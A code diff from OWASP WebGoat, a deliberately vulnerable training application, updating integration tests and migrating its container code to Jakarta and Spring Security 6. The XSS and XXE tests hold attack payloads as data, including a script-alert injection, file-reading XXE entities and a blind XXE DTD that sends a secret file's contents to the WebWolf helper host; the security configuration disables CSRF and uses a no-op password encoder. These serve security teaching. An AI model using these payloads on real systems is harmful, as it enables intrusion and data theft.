-                .get(webWolfUrl("/WebWolf/requests"))
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .then()
+            .get(webWolfUrl("requests"))
-                .extract().response().getBody().asString();
+            .then()
-        assertTrue(responseBody.contains(uniqueCode));
+            .extract()
-        params.clear();
+            .response()
-        params.put("uniqueCode", uniqueCode);
+            .getBody()
-        checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
+            .asString();
-        
+    assertTrue(responseBody.contains(uniqueCode));
-        checkResults("/WebWolf");
+    params.clear();
-        
+    params.put("uniqueCode", uniqueCode);
-    }
+    checkAssignment(url("WebWolf/landing"), params, true);
 
+    checkResults("/WebWolf");
+  }
 }

src/it/java/org/owasp/webgoat/XSSIntegrationTest.java

@@ -1,68 +1,116 @@
 package org.owasp.webgoat;
 
 import io.restassured.RestAssured;
-
 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;
 
 public class XSSIntegrationTest extends IntegrationTest {
 
+  @Test
+  public void crossSiteScriptingAssignments() {
+    startLesson("CrossSiteScripting");
 
-    @Test
+    Map<String, Object> params = new HashMap<>();
-    public void crossSiteScriptingAssignments() {
+    params.clear();
-        startLesson("CrossSiteScripting");
+    params.put("checkboxAttack1", "value");
+    checkAssignment(url("CrossSiteScripting/attack1"), params, true);
 
-        Map<String, Object> params = new HashMap<>();
+    params.clear();
-        params.clear();
+    params.put("QTY1", "1");
-        params.put("checkboxAttack1", "value");
+    params.put("QTY2", "1");
-        checkAssignment(url("/CrossSiteScripting/attack1"), params, true);
+    params.put("QTY3", "1");
+    params.put("QTY4", "1");
+    params.put("field1", "<script>alert('XSS+Test')</script>");
+    params.put("field2", "111");
+    checkAssignmentWithGet(url("CrossSiteScripting/attack5a"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("QTY1", "1");
+    params.put("DOMTestRoute", "start.mvc#test");
-        params.put("QTY2", "1");
+    checkAssignment(url("CrossSiteScripting/attack6a"), params, true);
-        params.put("QTY3", "1");
-        params.put("QTY4", "1");
-        params.put("field1", "<script>alert('XSS+Test')</script>");
-        params.put("field2", "111");
-        checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("DOMTestRoute", "start.mvc#test");
+    params.put("param1", "42");
-        checkAssignment(url("/CrossSiteScripting/attack6a"), params, true);
+    params.put("param2", "24");
 
-        params.clear();
+    String result =
-        params.put("param1", "42");
+        RestAssured.given()
-        params.put("param2", "24");
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("webgoat-requested-by", "dom-xss-vuln")
+            .header("X-Requested-With", "XMLHttpRequest")
+            .formParams(params)
+            .post(url("CrossSiteScripting/phone-home-xss"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("output");
+    String secretNumber = result.substring("phoneHome Response is ".length());
 
-        String result =
+    params.clear();
-                RestAssured.given()
+    params.put("successMessage", secretNumber);
-                        .when()
+    checkAssignment(url("CrossSiteScripting/dom-follow-up"), params, true);
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .header("webgoat-requested-by", "dom-xss-vuln")
-                        .header("X-Requested-With", "XMLHttpRequest")
-                        .formParams(params)
-                        .post(url("/CrossSiteScripting/phone-home-xss"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("output");
-        String secretNumber = result.substring("phoneHome Response is ".length());
 
-        params.clear();
+    params.clear();
-        params.put("successMessage", secretNumber);
+    params.put(
-        checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
+        "question_0_solution",
+        "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
+            + " the browser does not know that the script is malicious.");
+    params.put(
+        "question_1_solution",
+        "Solution 3: The data is included in dynamic content that is sent to a web user without"
+            + " being validated for malicious content.");
+    params.put(
+        "question_2_solution",
+        "Solution 1: The script is permanently stored on the server and the victim gets the"
+            + " malicious script when requesting information from the server.");
+    params.put(
+        "question_3_solution",
+        "Solution 2: They reflect the injected script off the web server. That occurs when input"
+            + " sent to the web server is part of the request.");
+    params.put(
+        "question_4_solution",
+        "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
+            + " the browser executes.");
+    checkAssignment(url("CrossSiteScripting/quiz"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.");
+    params.put(
-        params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.");
+        "editor",
-        params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.");
+        "<%@ taglib uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\" %>"
-        params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.");
+            + "<html>"
-        params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.");
+            + "<head>"
-        checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
+            + "<title>Using GET and POST Method to Read Form Data</title>"
+            + "</head>"
+            + "<body>"
+            + "<h1>Using POST Method to Read Form Data</h1>"
+            + "<table>"
+            + "<tbody>"
+            + "<tr>"
+            + "<td><b>First Name:</b></td>"
+            + "<td>${e:forHtml(param.first_name)}</td>"
+            + "</tr>"
+            + "<tr>"
+            + "<td><b>Last Name:</b></td>"
+            + "<td>${e:forHtml(param.last_name)}</td>"
+            + "</tr>"
+            + "</tbody>"
+            + "</table>"
+            + "</body>"
+            + "</html>");
+    checkAssignment(url("CrossSiteScripting/attack3"), params, true);
 
-        checkResults("/CrossSiteScripting/");
+    params.clear();
+    params.put(
+        "editor2",
+        "Policy.getInstance(\"antisamy-slashdot.xml\");"
+            + "Sammy s = new AntiSamy();"
+            + "s.scan(newComment,\"\");"
+            + "CleanResults();"
+            + "MyCommentDAO.addComment(threadID, userID).getCleanHTML());");
+    checkAssignment(url("CrossSiteScripting/attack4"), params, true);
 
-    }
+    checkResults("/CrossSiteScripting");
+  }
 }

src/it/java/org/owasp/webgoat/XXEIntegrationTest.java

@@ -2,98 +2,125 @@ package org.owasp.webgoat;
 
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
-import org.junit.jupiter.api.Test;
-
 import java.io.IOException;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.nio.file.Paths;
+import org.junit.jupiter.api.Test;
 
 public class XXEIntegrationTest extends IntegrationTest {
 
-    private static final String xxe3 = """
+  private static final String xxe3 =
-            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
+      """
-    private static final String xxe4 = """
+      <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
-            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
+      """;
-    private static final String dtd7 = """
+  private static final String xxe4 =
-            <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
+      """
-    private static final String xxe7 = """
+     <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
-            <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
+     """;
+  private static final String dtd7 =
+      """
+      <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
+      """;
+  private static final String xxe7 =
+      """
+      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
+      """;
 
-    private String webGoatHomeDirectory;
+  private String webGoatHomeDirectory;
-    private String webWolfFileServerLocation;
+  private String webWolfFileServerLocation;
 
-    /*
+  /*
-     * This test is to verify that all is secure when XXE security patch is applied.
+   * This test is to verify that all is secure when XXE security patch is applied.
-     */
+   */
-    @Test
+  @Test
-    public void xxeSecure() throws IOException {
+  public void xxeSecure() throws IOException {
-        startLesson("XXE");
+    startLesson("XXE");
-        webGoatHomeDirectory = webGoatServerDirectory();
+    webGoatHomeDirectory = webGoatServerDirectory();
-        webWolfFileServerLocation = getWebWolfFileServerLocation();
+    webWolfFileServerLocation = getWebWolfFileServerLocation();
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(url("service/enable-security.mvc"))
+        .then()
+        .statusCode(200);
+    checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
+    checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
+    checkAssignment(
+        url("xxe/blind"),
+        ContentType.XML,
+        "<comment><text>" + getSecret() + "</text></comment>",
+        false);
+  }
+
+  /**
+   * This performs the steps of the exercise before the secret can be committed in the final step.
+   *
+   * @return
+   * @throws IOException
+   */
+  private String getSecret() throws IOException {
+    // remove any left over DTD
+    Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
+    if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
+      Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
+    }
+    String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
+    String dtd7String =
+        dtd7.replace("WEBWOLFURL", webWolfUrl("landing")).replace("SECRET", secretFile);
+
+    // upload DTD
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .multiPart("file", "blind.dtd", dtd7String.getBytes())
+        .post(webWolfUrl("fileupload"))
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+    // upload attack
+    String xxe7String =
+        xxe7.replace("WEBWOLFURL", webWolfUrl("files")).replace("USERNAME", this.getUser());
+    checkAssignment(url("xxe/blind"), ContentType.XML, xxe7String, false);
+
+    // read results from WebWolf
+    String result =
         RestAssured.given()
-                .when()
+            .when()
-                .relaxedHTTPSValidation()
+            .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(url("service/enable-security.mvc"))
+            .get(webWolfUrl("requests"))
-                .then()
+            .then()
-                .statusCode(200);
+            .extract()
-        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
+            .response()
-        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
+            .getBody()
-        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
+            .asString();
+    result = result.replace("%20", " ");
+    if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
+      result =
+          result.substring(
+              result.lastIndexOf("WebGoat 8.0 rocks... ("),
+              result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
     }
+    return result;
+  }
 
-    /**
+  @Test
-     * This performs the steps of the exercise before the secret can be committed in the final step.
+  public void runTests() throws IOException {
-     *
+    startLesson("XXE", true);
-     * @return
+    webGoatHomeDirectory = webGoatServerDirectory();
-     * @throws IOException
+    webWolfFileServerLocation = getWebWolfFileServerLocation();
-     */
+    checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, true);
-    private String getSecret() throws IOException {
+    checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, true);
-        //remove any left over DTD
+    checkAssignment(
-        Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
+        url("xxe/blind"),
-        if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
+        ContentType.XML,
-            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
+        "<comment><text>" + getSecret() + "</text></comment>",
-        }
+        true);
-        String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
+    checkResults("xxe/");
-        String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
+  }
-
-        //upload DTD
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .multiPart("file", "blind.dtd", dtd7String.getBytes())
-                .post(webWolfUrl("/fileupload"))
-                .then()
-                .extract().response().getBody().asString();
-        //upload attack
-        String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
-        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
-
-        //read results from WebWolf
-        String result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/requests"))
-                .then()
-                .extract().response().getBody().asString();
-        result = result.replace("%20", " ");
-        if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
-            result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
-        }
-        return result;
-    }
-
-    @Test
-    public void runTests() throws IOException {
-        startLesson("XXE", true);
-        webGoatHomeDirectory = webGoatServerDirectory();
-        webWolfFileServerLocation = getWebWolfFileServerLocation();
-        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
-        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
-        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
-        checkResults("xxe/");
-    }
 }

src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java

@@ -27,10 +27,10 @@
  */
 package org.owasp.webgoat.container;
 
+import jakarta.servlet.ServletException;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
 import java.io.IOException;
-import javax.servlet.ServletException;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
 import org.springframework.security.core.AuthenticationException;
 import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
 

src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java

@@ -33,6 +33,7 @@ package org.owasp.webgoat.container;
 import static org.asciidoctor.Asciidoctor.Factory.create;
 
 import io.undertow.util.Headers;
+import jakarta.servlet.http.HttpServletRequest;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
@@ -41,7 +42,6 @@ import java.util.HashMap;
 import java.util.Locale;
 import java.util.Map;
 import java.util.Set;
-import javax.servlet.http.HttpServletRequest;
 import lombok.extern.slf4j.Slf4j;
 import org.asciidoctor.Asciidoctor;
 import org.asciidoctor.extension.JavaExtensionRegistry;
@@ -60,7 +60,7 @@ import org.thymeleaf.templateresource.StringTemplateResource;
  * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
  *
  * <p><code>
- * <div th:replace="doc:AccessControlMatrix_plan.adoc"></div>
+ * <div th:replace="~{doc:AccessControlMatrix_plan.adoc}"></div>
  * </code>
  */
 @Slf4j

src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java

@@ -6,7 +6,6 @@ import javax.sql.DataSource;
 import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.flywaydb.core.Flyway;
-import org.owasp.webgoat.container.lessons.LessonScanner;
 import org.owasp.webgoat.container.service.RestartLessonService;
 import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
 import org.springframework.context.annotation.Bean;
@@ -20,7 +19,6 @@ import org.springframework.jdbc.datasource.DriverManagerDataSource;
 public class DatabaseConfiguration {
 
   private final DataSourceProperties properties;
-  private final LessonScanner lessonScanner;
 
   @Bean
   @Primary
@@ -50,12 +48,13 @@ public class DatabaseConfiguration {
   }
 
   @Bean
-  public Function<String, Flyway> flywayLessons(LessonDataSource lessonDataSource) {
+  public Function<String, Flyway> flywayLessons() {
     return schema ->
         Flyway.configure()
             .configuration(Map.of("driver", properties.getDriverClassName()))
             .schemas(schema)
-            .dataSource(lessonDataSource)
+            .cleanDisabled(false)
+            .dataSource(dataSource())
             .locations("lessons")
             .load();
   }

src/main/java/org/owasp/webgoat/container/MvcConfiguration.java

@@ -56,10 +56,10 @@ import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
 import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
 import org.springframework.web.servlet.i18n.SessionLocaleResolver;
 import org.thymeleaf.IEngineConfiguration;
-import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
+import org.thymeleaf.extras.springsecurity6.dialect.SpringSecurityDialect;
-import org.thymeleaf.spring5.SpringTemplateEngine;
+import org.thymeleaf.spring6.SpringTemplateEngine;
-import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;
+import org.thymeleaf.spring6.templateresolver.SpringResourceTemplateResolver;
-import org.thymeleaf.spring5.view.ThymeleafViewResolver;
+import org.thymeleaf.spring6.view.ThymeleafViewResolver;
 import org.thymeleaf.templatemode.TemplateMode;
 import org.thymeleaf.templateresolver.FileTemplateResolver;
 import org.thymeleaf.templateresolver.ITemplateResolver;
@@ -242,6 +242,7 @@ public class MvcConfiguration implements WebMvcConfigurer {
   @Override
   public void addInterceptors(InterceptorRegistry registry) {
     registry.addInterceptor(localeChangeInterceptor());
+    registry.addInterceptor(new UserInterceptor());
   }
 
   @Bean

src/main/java/org/owasp/webgoat/container/UserInterceptor.java

@@ -0,0 +1,53 @@
+package org.owasp.webgoat.container;
+
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import org.owasp.webgoat.container.asciidoc.EnvironmentExposure;
+import org.springframework.core.env.Environment;
+import org.springframework.security.core.Authentication;
+import org.springframework.security.core.context.SecurityContextHolder;
+import org.springframework.web.servlet.HandlerInterceptor;
+import org.springframework.web.servlet.ModelAndView;
+
+public class UserInterceptor implements HandlerInterceptor {
+
+  private Environment env = EnvironmentExposure.getEnv();
+
+  @Override
+  public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
+      throws Exception {
+    // Do nothing
+    return true;
+  }
+
+  @Override
+  public void postHandle(
+      HttpServletRequest request,
+      HttpServletResponse response,
+      Object handler,
+      ModelAndView modelAndView)
+      throws Exception {
+    if (null != modelAndView) {
+      Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
+      if (null != authentication) {
+        modelAndView.getModel().put("username", authentication.getName());
+      }
+      if (null != env) {
+        String githubClientId =
+            env.getProperty("spring.security.oauth2.client.registration.github.client-id");
+        if (null != githubClientId && !githubClientId.equals("dummy")) {
+          modelAndView.getModel().put("oauth", Boolean.TRUE);
+        }
+      } else {
+        modelAndView.getModel().put("oauth", Boolean.FALSE);
+      }
+    }
+  }
+
+  @Override
+  public void afterCompletion(
+      HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
+      throws Exception {
+    // Do nothing
+  }
+}

src/main/java/org/owasp/webgoat/container/WebGoat.java

@@ -34,6 +34,9 @@ package org.owasp.webgoat.container;
 import java.io.File;
 import org.owasp.webgoat.container.session.UserSessionData;
 import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.users.UserRepository;
+import org.owasp.webgoat.container.users.WebGoatUser;
+import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
 import org.springframework.context.annotation.Bean;
@@ -42,6 +45,8 @@ import org.springframework.context.annotation.Configuration;
 import org.springframework.context.annotation.PropertySource;
 import org.springframework.context.annotation.Scope;
 import org.springframework.context.annotation.ScopedProxyMode;
+import org.springframework.security.core.context.SecurityContextHolder;
+import org.springframework.security.oauth2.core.user.DefaultOAuth2User;
 import org.springframework.web.client.RestTemplate;
 
 @Configuration
@@ -50,6 +55,8 @@ import org.springframework.web.client.RestTemplate;
 @EnableAutoConfiguration
 public class WebGoat {
 
+  @Autowired private UserRepository userRepository;
+
   @Bean(name = "pluginTargetDirectory")
   public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
     return new File(webgoatHome);
@@ -58,7 +65,14 @@ public class WebGoat {
   @Bean
   @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
   public WebSession webSession() {
-    return new WebSession();
+    WebGoatUser webGoatUser = null;
+    Object principal = SecurityContextHolder.getContext().getAuthentication().getPrincipal();
+    if (principal instanceof WebGoatUser) {
+      webGoatUser = (WebGoatUser) principal;
+    } else if (principal instanceof DefaultOAuth2User) {
+      webGoatUser = userRepository.findByUsername(((DefaultOAuth2User) principal).getName());
+    }
+    return new WebSession(webGoatUser);
   }
 
   @Bean

src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java

@@ -37,50 +37,58 @@ import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.security.authentication.AuthenticationManager;
 import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
+import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration;
 import org.springframework.security.config.annotation.web.builders.HttpSecurity;
 import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
-import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
-import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
 import org.springframework.security.core.userdetails.UserDetailsService;
 import org.springframework.security.crypto.password.NoOpPasswordEncoder;
+import org.springframework.security.web.SecurityFilterChain;
 
 /** Security configuration for WebGoat. */
 @Configuration
 @AllArgsConstructor
 @EnableWebSecurity
-public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
+public class WebSecurityConfig {
 
   private final UserService userDetailsService;
 
-  @Override
+  @Bean
-  protected void configure(HttpSecurity http) throws Exception {
+  public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
-    ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =
+    return http.authorizeHttpRequests(
-        http.authorizeRequests()
+            auth ->
-            .antMatchers(
+                auth.requestMatchers(
-                "/css/**",
+                        "/",
-                "/images/**",
+                        "/favicon.ico",
-                "/js/**",
+                        "/css/**",
-                "fonts/**",
+                        "/images/**",
-                "/plugins/**",
+                        "/js/**",
-                "/registration",
+                        "fonts/**",
-                "/register.mvc",
+                        "/plugins/**",
-                "/actuator/**")
+                        "/registration",
-            .permitAll()
+                        "/register.mvc")
-            .anyRequest()
+                    .permitAll()
-            .authenticated();
+                    .anyRequest()
-    security
+                    .authenticated())
-        .and()
+        .formLogin(
-        .formLogin()
+            login ->
-        .loginPage("/login")
+                login
-        .defaultSuccessUrl("/welcome.mvc", true)
+                    .loginPage("/login")
-        .usernameParameter("username")
+                    .defaultSuccessUrl("/welcome.mvc", true)
-        .passwordParameter("password")
+                    .usernameParameter("username")
-        .permitAll();
+                    .passwordParameter("password")
-    security.and().logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
+                    .permitAll())
-    security.and().csrf().disable();
+        .oauth2Login(
-
+            oidc -> {
-    http.headers().cacheControl().disable();
+              oidc.defaultSuccessUrl("/login-oauth.mvc");
-    http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
+              oidc.loginPage("/login");
+            })
+        .logout(logout -> logout.deleteCookies("JSESSIONID").invalidateHttpSession(true))
+        .csrf(csrf -> csrf.disable())
+        .headers(headers -> headers.disable())
+        .exceptionHandling(
+            handling ->
+                handling.authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login")))
+        .build();
   }
 
   @Autowired
@@ -89,18 +97,16 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
   }
 
   @Bean
-  @Override
+  public UserDetailsService userDetailsServiceBean() {
-  public UserDetailsService userDetailsServiceBean() throws Exception {
     return userDetailsService;
   }
 
-  @Override
   @Bean
-  protected AuthenticationManager authenticationManager() throws Exception {
+  public AuthenticationManager authenticationManager(
-    return super.authenticationManager();
+      AuthenticationConfiguration authenticationConfiguration) throws Exception {
+    return authenticationConfiguration.getAuthenticationManager();
   }
 
-  @SuppressWarnings("deprecation")
   @Bean
   public NoOpPasswordEncoder passwordEncoder() {
     return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();

src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java

@@ -16,7 +16,7 @@ public class EnvironmentExposure implements ApplicationContextAware {
   private static ApplicationContext context;
 
   public static Environment getEnv() {
-    return context.getEnvironment();
+    return (null != context) ? context.getEnvironment() : null;
   }
 
   @Override

src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java

@@ -2,11 +2,8 @@ package org.owasp.webgoat.container.asciidoc;
 
 import java.util.HashMap;
 import java.util.Map;
-import javax.servlet.http.HttpServletRequest;
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
-import org.springframework.web.context.request.RequestContextHolder;
-import org.springframework.web.context.request.ServletRequestAttributes;
 
 /**
  * Usage in asciidoc:
@@ -26,7 +23,7 @@ public class WebWolfMacro extends InlineMacroProcessor {
   @Override
   public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) {
     var env = EnvironmentExposure.getEnv();
-    var hostname = determineHost(env.getProperty("webwolf.port"));
+    var hostname = env.getProperty("webwolf.url");
     var target = (String) attributes.getOrDefault("target", "home");
     var href = hostname + "/" + target;
 
@@ -45,29 +42,4 @@ public class WebWolfMacro extends InlineMacroProcessor {
   private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
     return attributes.values().stream().anyMatch(a -> a.equals("noLink"));
   }
-
-  /**
-   * Determine the host from the hostname and ports that were used. The purpose is to make it
-   * possible to use the application behind a reverse proxy. For instance in the docker
-   * compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the
-   * indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1
-   * www.webgoat.local www.webwolf.local
-   */
-  private String determineHost(String port) {
-    HttpServletRequest request =
-        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
-    String host = request.getHeader("Host");
-    int semicolonIndex = host.indexOf(":");
-    if (semicolonIndex == -1 || host.endsWith(":80")) {
-      host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local");
-    } else {
-      host = host.substring(0, semicolonIndex);
-      host = host.concat(":").concat(port);
-    }
-    return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : "");
-  }
-
-  protected boolean includeWebWolfContext() {
-    return true;
-  }
 }

src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java

@@ -17,9 +17,4 @@ public class WebWolfRootMacro extends WebWolfMacro {
   public WebWolfRootMacro(String macroName, Map<String, Object> config) {
     super(macroName, config);
   }
-
-  @Override
-  protected boolean includeWebWolfContext() {
-    return false;
-  }
 }

src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java

@@ -75,7 +75,8 @@ public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
     } else {
       userTracker.assignmentFailed(webSession.getCurrentLesson());
     }
-    userTrackerRepository.saveAndFlush(userTracker);
+    userTrackerRepository.save(userTracker);
+
     return attackResult;
   }
 }

src/main/java/org/owasp/webgoat/container/controller/StartLesson.java

@@ -31,7 +31,7 @@
  */
 package org.owasp.webgoat.container.controller;
 
-import javax.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.session.Course;
 import org.owasp.webgoat.container.session.WebSession;
 import org.springframework.stereotype.Controller;

src/main/java/org/owasp/webgoat/container/controller/Welcome.java

@@ -29,8 +29,8 @@
  */
 package org.owasp.webgoat.container.controller;
 
-import javax.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpSession;
+import jakarta.servlet.http.HttpSession;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.servlet.ModelAndView;
@@ -49,7 +49,7 @@ public class Welcome {
   /**
    * welcome.
    *
-   * @param request a {@link javax.servlet.http.HttpServletRequest} object.
+   * @param request a {@link jakarta.servlet.http.HttpServletRequest} object.
    * @return a {@link org.springframework.web.servlet.ModelAndView} object.
    */
   @GetMapping(path = {"welcome.mvc"})

src/main/java/org/owasp/webgoat/container/lessons/Assignment.java

@@ -1,9 +1,14 @@
 package org.owasp.webgoat.container.lessons;
 
+import jakarta.persistence.Entity;
+import jakarta.persistence.GeneratedValue;
+import jakarta.persistence.GenerationType;
+import jakarta.persistence.Id;
+import jakarta.persistence.Transient;
 import java.util.ArrayList;
 import java.util.List;
-import javax.persistence.*;
+import lombok.EqualsAndHashCode;
-import lombok.*;
+import lombok.Getter;
 
 /**
  * ************************************************************************************************
@@ -41,7 +46,7 @@ import lombok.*;
 public class Assignment {
 
   @Id
-  @GeneratedValue(strategy = GenerationType.AUTO)
+  @GeneratedValue(strategy = GenerationType.IDENTITY)
   private Long id;
 
   private String name;

src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java

@@ -4,15 +4,13 @@ import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.InvocationTargetException;
